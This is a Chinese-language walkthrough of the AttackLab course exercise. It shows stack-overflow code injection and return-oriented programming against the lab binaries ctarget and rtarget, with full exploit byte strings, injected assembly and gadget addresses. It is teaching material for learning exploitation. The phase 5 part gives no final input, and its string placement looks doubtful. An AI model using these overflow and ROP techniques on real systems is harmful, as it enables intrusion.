跳转至

AttackLab苦痛之路

一、准备工作

核心说明:前3个phase基于ctarget,围绕代码注入攻击(code injection attacks) 展开;后3个phase基于rtarget,围绕面向返回编程(return-oriented programming) 展开。解题需在txt中编写空格分隔的字节码,通过hex2raw工具转换为字符串后,重定向输入给对应target程序。

  1. 反汇编目标文件,获取汇编代码:
  2. objdump -d ctarget > ctarget.asm
  3. objdump -d rtarget > rtarget.asm
  4. 赋予可执行权限:chmod +x hex2raw rtarget ctarget
  5. 自学的同学需添加-q参数(避免结果发送至服务器),注意参数的位置,不然👇 image.png
  6. 解决ctarget运行报错:
  7. 初始报错:-bash: ./ctarget: cannot execute binary file: Exec format error image.png
  8. 初步排查:误以为是WSL2 Ubuntu环境过新,尝试搭建兼容环境。看了他的步骤相当繁琐(头晕,后面发现纯属扯淡 image.png
  9. 最终解决方案:通过file ctarget查看文件类型,发现输出为data,合理怀疑是文件损坏,重新解压压缩包后恢复正常 image.png
  10. 关键工具与指令说明:
  11. hex2raw:将字节码转换为程序可接收的输入字符串
  12. 自定义汇编代码转二进制:先通过gcc -c example.s编译为目标文件,再用objdump -d example.o > example.d提取二进制字节码

二、ctarget

如果没有思路,建议反复读AttackLab的handout。驻波一开始一点思路没有,后面翻译成中文再读几遍就好很多了

1. phase1

核心需求

getbuf函数执行return时,不返回调用者test,直接跳转到touch1函数(触发validate(1))。

关键分析

void test(){
    int val;
    val = getbuf();
    printf("No exploit. ......")    
}
- getbuf函数代码:内部定义char buf[BUFFER_SIZE],通过Gets(buf)读取输入(无边界检查,存在栈溢出漏洞)。 - 汇编代码可知BUFFER_SIZE = 0x28(即40字节),输入超过40字节会破坏栈结构,覆盖返回地址。 image.png

初始尝试与踩坑

  • 编写phase1.txt:前40字节填充0,后8字节写入touch1地址(0x4017c0,小端序)。
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    c0 17 40 00 00 00 00 00
    
  • 运行报错:Segmentation fault image.png
  • 原因是Ubuntu 20.04/21.x/22.04版本兼容问题。解决方法见attack踩坑之segmentation fault;后面发现不如直接升级ubuntu版本至24.04

  • 解决方案:升级Ubuntu至24.04版本,兼容问题直接解决。 image.png

2. phase2

核心需求

调用touch2函数(地址0x4017ec),且需将cookie=0x59b997fa传入%rdi寄存器(函数第一个参数),禁止使用jmpcall指令。 image.png

错误思路与修正

  • 初始错误:直接修改phase1的返回地址为touch2,并在输入中添加movq $0x59b997fa, %rdi的二进制码,但Gets仅存储字符串不执行代码,导致参数传递失败,报错Misfire: You called touch2(0x45e0a8e0)
    48 c7 c7 fa 97 b9 59 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    ec 17 40 00 00 00 00 00
    
    其中 48 c7 c7 是movq ... %rdi的部分,fa 97 b9 59是cookie=0x59b997fa的小端法
  • 正确逻辑:输入字符串需包含“修改%rdi的代码 + 返回touch2的代码”,让getbuf的return直接跳转到输入字符串的起始地址,执行注入代码。

注入代码与二进制转换

  • 编写汇编文件2_s.s
    movq $0x59b997fa, %rdi  # 将cookie传入%rdi
    push $0x4017ec           # 压入touch2地址
    ret                      # 跳转至touch2
    
  • 转换为二进制码:通过gcc -c 2_s.sobjdump -d 2_s.o,得到二进制序列48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3image.png

确定输入字符串起始地址

  • getbuf汇编代码可知,栈指针%rsp在开辟40字节缓冲区后的值为0x5561dc78,此地址即为输入字符串的起始地址。 image.png

最终phase2.txt

48 c7 c7 fa 97 b9 59 68  # movq $cookie, %rdi; push $touch2
ec 17 40 00 c3 00 00 00  # ret; 填充0
00 00 00 00 00 00 00 00  # 填充0(凑够40字节缓冲区)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00  # 返回地址:输入字符串起始地址0x5561dc78
- 执行成功: image.png

3. phase3

核心需求

调用touch3函数,传入cookie的十六进制字符串(格式为"59b997fa\0",空终止符不可少),需避免字符串被后续函数栈操作覆盖。

关键分析

  • touch3依赖hexmatch函数校验字符串,hexmatch会开辟110字节缓冲区,栈操作会覆盖getbuf的40字节缓冲区,因此字符串需存放在40字节之后的“安全区域”。
  • 字符串编码:根据ASCII表,"59b997fa\0"对应的十六进制字节为35 39 62 39 39 37 66 61 00

注入逻辑与phase3.txt

  • 注入代码功能:将字符串安全地址传入%rdi,再跳转至touch3(地址0x4018fa)。
  • 安全地址选择:0x5561dca8(40字节缓冲区之后,避免被覆盖)。
  • 最终phase3.txt
    48 c7 c7 a8 dc 61 55 68  # movq $0x5561dca8, %rdi; push $touch3
    fa 18 40 00 c3 00 00 00  # ret; 填充0
    00 00 00 00 00 00 00 00  # 填充0(凑够40字节)
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    78 dc 61 55 00 00 00 00  # 返回地址:输入字符串起始地址0x5561dc78
    35 39 62 39 39 37 66 61 00  # 字符串"59b997fa\0"
    
  • 执行成功: image.png

三、rtarget

rtarget难度提升核心:1. 栈随机化,无法确定注入代码地址;2. 栈内存标记为不可执行。解题核心是复用现有代码中“以ret结尾的代码片段(gadget)”,通过栈中串联gadget地址实现攻击。

4. phase4:用gadget复现phase2功能

核心需求

通过farm中的gadget,实现“传递cookie=0x59b997fa%rdi + 跳转至touch2”,仅允许使用movq/popq/ret/nop指令及前8个寄存器。

关键步骤

  1. 提取farm汇编代码:
    gcc -c -o farm.o farm.c
    objdump -d farm.o > farm.asm
    
  2. 查找关键gadget:
  3. 需求1:将cookie传入寄存器(无直接pop %rdi,先pop %rax),对应gadget地址0x4019cc(指令:pop %rax; ret)。 image.png
  4. 需求2:将%rax的值传入%rdi,对应gadget地址0x4019c5(指令:movq %rax, %rdi; nop; ret,字节码48 89 c7 90 c3)。 image.png
  5. 栈结构设计(从低地址到高地址):
  6. 前40字节:填充0(覆盖getbuf缓冲区)。
  7. 后续字节:依次存放pop %raxgadget地址、cookie值、movq %rax, %rdigadget地址、touch2地址。

最终phase4.txt

00 00 00 00 00 00 00 00  # 填充0(共40字节)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00  # gadget1:pop %rax; ret(地址0x4019cc)
fa 97 b9 59 00 00 00 00  # cookie值0x59b997fa
c5 19 40 00 00 00 00 00  # gadget2:movq %rax, %rdi; ret(地址0x4019c5)
ec 17 40 00 00 00 00 00  # touch2地址0x4017ec
- 执行成功: image.png

5. phase5:用gadget复现phase3功能

核心需求

通过gadget实现“获取cookie字符串地址并传入%rdi + 跳转至touch3”,需解决栈随机化导致的地址不确定问题。

关键思路

  • 字符串存放:将"59b997fa\0"存入getbuf缓冲区(40字节内)。
  • 地址计算:利用%rsp(栈指针)相对位置获取字符串地址(%rsp + 偏移量),需通过gadget组合实现地址计算与寄存器传递。

关键gadget查找与组合

  1. 核心gadget清单(含地址与功能):
  2. 0x401a06movq %rsp, %rax; ret(将栈指针传入%rax
  3. 0x4019c5movq %rax, %rdi; ret%rax值传入%rdi
  4. 0x4019abpop %rax; ret(接收字符串偏移量-40
  5. 0x4019ddmovl %eax, %edx; ret%eax值传入%edx
  6. 0x401a70movl %edx, %ecx; ret%edx值传入%ecx
  7. 0x401a13movl %ecx, %esi; ret%ecx值传入%esi
  8. 0x4019d6leaq (%rdi,%rsi), %rax; ret(计算%rdi + %rsi,即字符串地址)
  9. 0x4019a2movq %rax, %rdi; ret(最终字符串地址传入%rdi

栈结构设计与phase5.txt

  • 字符串编码:35 39 62 39 39 37 66 61 00(存于缓冲区前9字节)。
  • 栈结构(从低地址到高地址):
  • 前9字节:字符串"59b997fa\0"
  • 10-40字节:填充0(凑够40字节缓冲区)。
  • 后续字节:按顺序存放上述gadget地址、偏移量-40touch3地址。

执行结果

最终通过gadget组合成功传递字符串地址,触发validate(3)image.png